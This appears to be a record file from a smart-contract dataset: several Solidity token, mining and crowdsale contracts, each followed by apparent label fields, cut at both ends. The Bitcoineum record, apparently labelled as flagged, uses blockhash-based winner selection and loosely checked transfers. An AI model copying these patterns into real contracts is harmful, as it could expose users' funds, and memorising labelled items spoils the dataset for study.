function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value);
function approve(address spender, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
if (_value != 0) require(allowed[msg.sender][_spender] == 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Transmutable {
function transmute(address to, uint256 value) returns (bool, uint256);
event Transmuted(address indexed who, address baseContract, address transmutedContract, uint256 sourceQuantity, uint256 destQuantity);
}
contract TransmutableInterface {
function transmuted(uint256 _value) returns (bool, uint256);
}
contract ERC20Mineable is StandardToken, ReentrancyGuard {
uint256 public constant divisible_units = 10000000;
uint256 public constant decimals = 8;
uint256 public constant initial_reward = 100;
uint256 public maximumSupply;
uint256 public currentDifficultyWei;
uint256 public minimumDifficultyThresholdWei;
uint256 public blockCreationRate;
uint256 public difficultyAdjustmentPeriod;
uint256 public lastDifficultyAdjustmentEthereumBlock;
uint256 public constant difficultyScaleMultiplierLimit = 4;
uint256 public totalBlocksMined;
uint256 public rewardAdjustmentPeriod;
uint256 public totalWeiCommitted;
uint256 public totalWeiExpected;
address public burnAddress;
struct InternalBlock {
uint256 targetDifficultyWei;
uint256 blockNumber;
uint256 totalMiningWei;
uint256 totalMiningAttempts;
uint256 currentAttemptOffset;
bool payed;
address payee;
bool isCreated;
}
struct MiningAttempt {
uint256 projectedOffset;
uint256 value;
bool isCreated;
}
mapping (uint256 => InternalBlock) public blockData;
mapping (uint256 => mapping (address => MiningAttempt)) public miningAttempts;
function resolve_block_hash(uint256 _blockNum) public constant returns (bytes32) {
return block.blockhash(_blockNum);
}
function current_external_block() public constant returns (uint256) {
return block.number;
}
function external_to_internal_block_number(uint256 _externalBlockNum) public constant returns (uint256) {
return _externalBlockNum / blockCreationRate;
}
function get_internal_block_number() public constant returns (uint256) {
return external_to_internal_block_number(current_external_block());
}
function getContractState() external constant
returns (uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
) {
InternalBlock memory b;
uint256 _blockNumber = external_to_internal_block_number(current_external_block());
if (!blockData[_blockNumber].isCreated) {
b = InternalBlock(
{targetDifficultyWei: currentDifficultyWei,
blockNumber: _blockNumber,
totalMiningWei: 0,
totalMiningAttempts: 0,
currentAttemptOffset: 0,
payed: false,
payee: 0,
isCreated: true
});
} else {
b = blockData[_blockNumber];
}
return (currentDifficultyWei,
minimumDifficultyThresholdWei,
_blockNumber,
blockCreationRate,
difficultyAdjustmentPeriod,
rewardAdjustmentPeriod,
lastDifficultyAdjustmentEthereumBlock,
totalBlocksMined,
totalWeiCommitted,
totalWeiExpected,
b.targetDifficultyWei,
b.totalMiningWei,
b.currentAttemptOffset);
}
function getBlockData(uint256 _blockNum) public constant returns (uint256, uint256, uint256, uint256, uint256, bool, address, bool) {
InternalBlock memory iBlock = blockData[_blockNum];
return (iBlock.targetDifficultyWei,
iBlock.blockNumber,
iBlock.totalMiningWei,
iBlock.totalMiningAttempts,
iBlock.currentAttemptOffset,
iBlock.payed,
iBlock.payee,
iBlock.isCreated);
}
function getMiningAttempt(uint256 _blockNum, address _who) public constant returns (uint256, uint256, bool) {
if (miningAttempts[_blockNum][_who].isCreated) {
return (miningAttempts[_blockNum][_who].projectedOffset,
miningAttempts[_blockNum][_who].value,
miningAttempts[_blockNum][_who].isCreated);
} else {
return (0, 0, false);
}
}
modifier blockCreated(uint256 _blockNum) {
require(blockData[_blockNum].isCreated);
_;
}
modifier blockRedeemed(uint256 _blockNum) {
require(_blockNum != current_external_block());
require(blockData[_blockNum].isCreated);
require(!blockData[_blockNum].payed);
_;
}
modifier initBlock(uint256 _blockNum) {
require(_blockNum != current_external_block());
if (!blockData[_blockNum].isCreated) {
adjust_difficulty();
blockData[_blockNum] = InternalBlock(
{targetDifficultyWei: currentDifficultyWei,
blockNumber: _blockNum,
totalMiningWei: 0,
totalMiningAttempts: 0,
currentAttemptOffset: 0,
payed: false,
payee: 0,
isCreated: true
});
}
_;
}
modifier isValidAttempt() {
uint256 minimum_wei = currentDifficultyWei / divisible_units;
require (msg.value >= minimum_wei);
require(msg.value <= (1000000 ether));
_;
}
modifier alreadyMined(uint256 blockNumber, address sender) {
require(blockNumber != current_external_block());
require(!checkMiningAttempt(blockNumber, sender));
_;
}
function checkMiningActive() public constant returns (bool) {
return (totalSupply < maximumSupply);
}
modifier isMiningActive() {
require(checkMiningActive());
_;
}
function burn(uint256 value) internal {
bool ret = burnAddress.send(value);
require (ret);
}
event MiningAttemptEvent(
address indexed _from,
uint256 _value,
uint256 indexed _blockNumber,
uint256 _totalMinedWei,
uint256 _targetDifficultyWei
);
event LogEvent(
string _info
);
function mine() external payable
nonReentrant
isValidAttempt
isMiningActive
initBlock(external_to_internal_block_number(current_external_block()))
blockRedeemed(external_to_internal_block_number(current_external_block()))
alreadyMined(external_to_internal_block_number(current_external_block()), msg.sender) returns (bool) {
uint256 internalBlockNum = external_to_internal_block_number(current_external_block());
miningAttempts[internalBlockNum][msg.sender] =
MiningAttempt({projectedOffset: blockData[internalBlockNum].currentAttemptOffset,
value: msg.value,
isCreated: true});
blockData[internalBlockNum].totalMiningAttempts += 1;
blockData[internalBlockNum].totalMiningWei += msg.value;
totalWeiCommitted += msg.value;
blockData[internalBlockNum].currentAttemptOffset += msg.value;
MiningAttemptEvent(msg.sender,
msg.value,
internalBlockNum,
blockData[internalBlockNum].totalMiningWei,
blockData[internalBlockNum].targetDifficultyWei
);
burn(msg.value);
return true;
}
modifier userMineAttempted(uint256 _blockNum, address _user) {
require(checkMiningAttempt(_blockNum, _user));
_;
}
modifier isBlockMature(uint256 _blockNumber) {
require(_blockNumber != current_external_block());
require(checkBlockMature(_blockNumber, current_external_block()));
require(checkRedemptionWindow(_blockNumber, current_external_block()));
_;
}
modifier isBlockReadable(uint256 _blockNumber) {
InternalBlock memory iBlock = blockData[_blockNumber];
uint256 targetBlockNum = targetBlockNumber(_blockNumber);
require(resolve_block_hash(targetBlockNum) != 0);
_;
}
function calculate_difficulty_attempt(uint256 targetDifficultyWei,
uint256 totalMiningWei,
uint256 value) public constant returns (uint256) {
uint256 selectedDifficultyWei = 0;
if (totalMiningWei > targetDifficultyWei) {
selectedDifficultyWei = totalMiningWei;
} else {
selectedDifficultyWei = targetDifficultyWei;
}
uint256 intermediate = ((value * divisible_units) / selectedDifficultyWei);
uint256 max_int = 0;
max_int = max_int - 1;
if (intermediate >= divisible_units) {
return max_int;
} else {
return intermediate * (max_int / divisible_units);
}
}
function calculate_range_attempt(uint256 difficulty, uint256 offset) public constant returns (uint256, uint256) {
require(offset + difficulty >= offset);
return (offset, offset+difficulty);
}
function calculate_proportional_reward(uint256 _baseReward, uint256 _userContributionWei, uint256 _totalCommittedWei) public constant returns (uint256) {
require(_userContributionWei <= _totalCommittedWei);
require(_userContributionWei > 0);
require(_totalCommittedWei > 0);
uint256 intermediate = ((_userContributionWei * divisible_units) / _totalCommittedWei);
if (intermediate >= divisible_units) {
return _baseReward;
} else {
return intermediate * (_baseReward / divisible_units);
}
}
function calculate_base_mining_reward(uint256 _totalBlocksMined) public constant returns (uint256) {
uint256 mined_block_period = 0;
if (_totalBlocksMined < 210000) {
mined_block_period = 210000;
} else {
mined_block_period = _totalBlocksMined;
}
uint256 total_reward = initial_reward * (10 ** decimals);
uint256 i = 1;
uint256 rewardperiods = mined_block_period / 210000;
if (mined_block_period % 210000 > 0) {
rewardperiods += 1;
}
for (i=1; i < rewardperiods; i++) {
total_reward = total_reward / 2;
}
return total_reward;
}
function calculate_next_expected_wei(uint256 _totalWeiCommitted,
uint256 _totalWeiExpected,
uint256 _minimumDifficultyThresholdWei,
uint256 _difficultyScaleMultiplierLimit) public constant
returns (uint256) {
uint256 lowerBound = _totalWeiExpected / _difficultyScaleMultiplierLimit;
uint256 upperBound = _totalWeiExpected * _difficultyScaleMultiplierLimit;
if (_totalWeiCommitted < lowerBound) {
_totalWeiExpected = lowerBound;
} else if (_totalWeiCommitted > upperBound) {
_totalWeiExpected = upperBound;
} else {
_totalWeiExpected = _totalWeiCommitted;
}
if (_totalWeiExpected < _minimumDifficultyThresholdWei) {
_totalWeiExpected = _minimumDifficultyThresholdWei;
}
return _totalWeiExpected;
}
function adjust_difficulty() internal {
if ((current_external_block() - lastDifficultyAdjustmentEthereumBlock) > (difficultyAdjustmentPeriod * blockCreationRate)) {
totalWeiExpected = calculate_next_expected_wei(totalWeiCommitted, totalWeiExpected, minimumDifficultyThresholdWei * difficultyAdjustmentPeriod, difficultyScaleMultiplierLimit);
currentDifficultyWei = totalWeiExpected / difficultyAdjustmentPeriod;
totalWeiCommitted = 0;
lastDifficultyAdjustmentEthereumBlock = current_external_block();
}
}
event BlockClaimedEvent(
address indexed _from,
address indexed _forCreditTo,
uint256 _reward,
uint256 indexed _blockNumber
);
modifier onlyWinner(uint256 _blockNumber) {
require(checkWinning(_blockNumber));
_;
}
function calculate_reward(uint256 _totalBlocksMined, address _sender, uint256 _blockNumber) public constant returns (uint256) {
return calculate_proportional_reward(calculate_base_mining_reward(_totalBlocksMined), miningAttempts[_blockNumber][_sender].value, blockData[_blockNumber].totalMiningWei);
}
function claim(uint256 _blockNumber, address forCreditTo)
nonReentrant
blockRedeemed(_blockNumber)
isBlockMature(_blockNumber)
isBlockReadable(_blockNumber)
userMineAttempted(_blockNumber, msg.sender)
onlyWinner(_blockNumber)
external returns (bool) {
blockData[_blockNumber].payed = true;
blockData[_blockNumber].payee = msg.sender;
totalBlocksMined = totalBlocksMined + 1;
uint256 proportional_reward = calculate_reward(totalBlocksMined, msg.sender, _blockNumber);
balances[forCreditTo] = balances[forCreditTo].add(proportional_reward);
totalSupply += proportional_reward;
BlockClaimedEvent(msg.sender, forCreditTo,
proportional_reward,
_blockNumber);
Transfer(this, forCreditTo, proportional_reward);
return true;
}
function isBlockRedeemed(uint256 _blockNum) constant public returns (bool) {
if (!blockData[_blockNum].isCreated) {
return false;
} else {
return blockData[_blockNum].payed;
}
}
function targetBlockNumber(uint256 _blockNum) constant public returns (uint256) {
return ((_blockNum + 1) * blockCreationRate);
}
function checkBlockMature(uint256 _blockNum, uint256 _externalblock) constant public returns (bool) {
return (_externalblock >= targetBlockNumber(_blockNum));
}
function checkRedemptionWindow(uint256 _blockNum, uint256 _externalblock) constant public returns (bool) {
uint256 _targetblock = targetBlockNumber(_blockNum);
return _externalblock >= _targetblock && _externalblock < (_targetblock + 256);
}
function checkMiningAttempt(uint256 _blockNum, address _sender) constant public returns (bool) {
return miningAttempts[_blockNum][_sender].isCreated;
}
function checkWinning(uint256 _blockNum) constant public returns (bool) {
if (checkMiningAttempt(_blockNum, msg.sender) && checkBlockMature(_blockNum, current_external_block())) {
InternalBlock memory iBlock = blockData[_blockNum];
uint256 targetBlockNum = targetBlockNumber(iBlock.blockNumber);
MiningAttempt memory attempt = miningAttempts[_blockNum][msg.sender];
uint256 difficultyAttempt = calculate_difficulty_attempt(iBlock.targetDifficultyWei, iBlock.totalMiningWei, attempt.value);
uint256 beginRange;
uint256 endRange;
uint256 targetBlockHashInt;
(beginRange, endRange) = calculate_range_attempt(difficultyAttempt,
calculate_difficulty_attempt(iBlock.targetDifficultyWei, iBlock.totalMiningWei, attempt.projectedOffset));
targetBlockHashInt = uint256(keccak256(resolve_block_hash(targetBlockNum)));
if ((beginRange < targetBlockHashInt) && (endRange >= targetBlockHashInt))
{
return true;
}
}
return false;
}
}
contract Bitcoineum is ERC20Mineable, Transmutable {
string public constant name = "Bitcoineum";
string public constant symbol = "BTE";
uint256 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 0;
uint256 public constant MAX_SUPPLY = 21000000 * (10**8);
function Bitcoineum() {
totalSupply = INITIAL_SUPPLY;
maximumSupply = MAX_SUPPLY;
currentDifficultyWei = 100 szabo;
minimumDifficultyThresholdWei = 100 szabo;
blockCreationRate = 50;
difficultyAdjustmentPeriod = 2016;
rewardAdjustmentPeriod = 210000;
totalBlocksMined = 0;
totalWeiExpected = difficultyAdjustmentPeriod * currentDifficultyWei;
burnAddress = 0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD;
lastDifficultyAdjustmentEthereumBlock = block.number;
}
function transmute(address to, uint256 value) nonReentrant returns (bool, uint256) {
require(value > 0);
require(balances[msg.sender] >= value);
require(totalSupply >= value);
balances[msg.sender] = balances[msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
TransmutableInterface target = TransmutableInterface(to);
bool _result = false;
uint256 _total = 0;
(_result, _total) = target.transmuted(value);
require (_result);
Transmuted(msg.sender, this, to, value, _total);
return (_result, _total);
}
} | 1 | 3,739 |
pragma solidity ^0.4.21;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
emit Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "Boldman";
string constant TOKEN_SYMBOL = "BOLD";
bool constant PAUSED = false;
address constant TARGET_USER = 0xAd30dB42B88548943655FdEF4d94a342Fa4490dE;
uint constant START_TIME = 1529361000;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 100 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor() internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token;
address private _wallet;
uint256 private _rate;
uint256 private _weiRaised;
event TokensPurchased(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 rate, address wallet, IERC20 token) internal {
require(rate > 0);
require(wallet != address(0));
require(token != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns(IERC20) {
return _token;
}
function wallet() public view returns(address) {
return _wallet;
}
function rate() public view returns(uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(
msg.sender,
beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
view
{
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _postValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
view
{
}
function _deliverTokens(
address beneficiary,
uint256 tokenAmount
)
internal
{
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(
address beneficiary,
uint256 tokenAmount
)
internal
{
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(
address beneficiary,
uint256 weiAmount
)
internal
{
}
function _getTokenAmount(uint256 weiAmount)
internal view returns (uint256)
{
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _openingTime;
uint256 private _closingTime;
modifier onlyWhileOpen {
require(isOpen());
_;
}
constructor(uint256 openingTime, uint256 closingTime) internal {
require(openingTime >= block.timestamp);
require(closingTime > openingTime);
_openingTime = openingTime;
_closingTime = closingTime;
}
function openingTime() public view returns(uint256) {
return _openingTime;
}
function closingTime() public view returns(uint256) {
return _closingTime;
}
function isOpen() public view returns (bool) {
return block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > _closingTime;
}
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
onlyWhileOpen
view
{
super._preValidatePurchase(beneficiary, weiAmount);
}
}
contract PostDeliveryCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
constructor() internal {}
function withdrawTokens(address beneficiary) public {
require(hasClosed());
uint256 amount = _balances[beneficiary];
require(amount > 0);
_balances[beneficiary] = 0;
_deliverTokens(beneficiary, amount);
}
function balanceOf(address account) public view returns(uint256) {
return _balances[account];
}
function _processPurchase(
address beneficiary,
uint256 tokenAmount
)
internal
{
_balances[beneficiary] = _balances[beneficiary].add(tokenAmount);
}
}
contract IncreasingPriceCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
uint256 private _initialRate;
uint256 private _finalRate;
constructor(uint256 initialRate, uint256 finalRate) internal {
require(finalRate > 0);
require(initialRate > finalRate);
_initialRate = initialRate;
_finalRate = finalRate;
}
function rate() public view returns(uint256) {
revert();
}
function initialRate() public view returns(uint256) {
return _initialRate;
}
function finalRate() public view returns (uint256) {
return _finalRate;
}
function getCurrentRate() public view returns (uint256) {
if (!isOpen()) {
return 0;
}
uint256 elapsedTime = block.timestamp.sub(openingTime());
uint256 timeRange = closingTime().sub(openingTime());
uint256 rateRange = _initialRate.sub(_finalRate);
return _initialRate.sub(elapsedTime.mul(rateRange).div(timeRange));
}
function _getTokenAmount(uint256 weiAmount)
internal view returns (uint256)
{
uint256 currentRate = getCurrentRate();
return currentRate.mul(weiAmount);
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ICO1 is IncreasingPriceCrowdsale, PostDeliveryCrowdsale, Ownable {
IERC20 private _token;
uint256 private _weiRaised;
uint256 private _tokenSold;
constructor(address wallet, IERC20 token, uint8 daysAfter, uint256 openingRate, uint256 closingRate)
Crowdsale(openingRate, wallet, token)
TimedCrowdsale(now, now + daysAfter * 1 days)
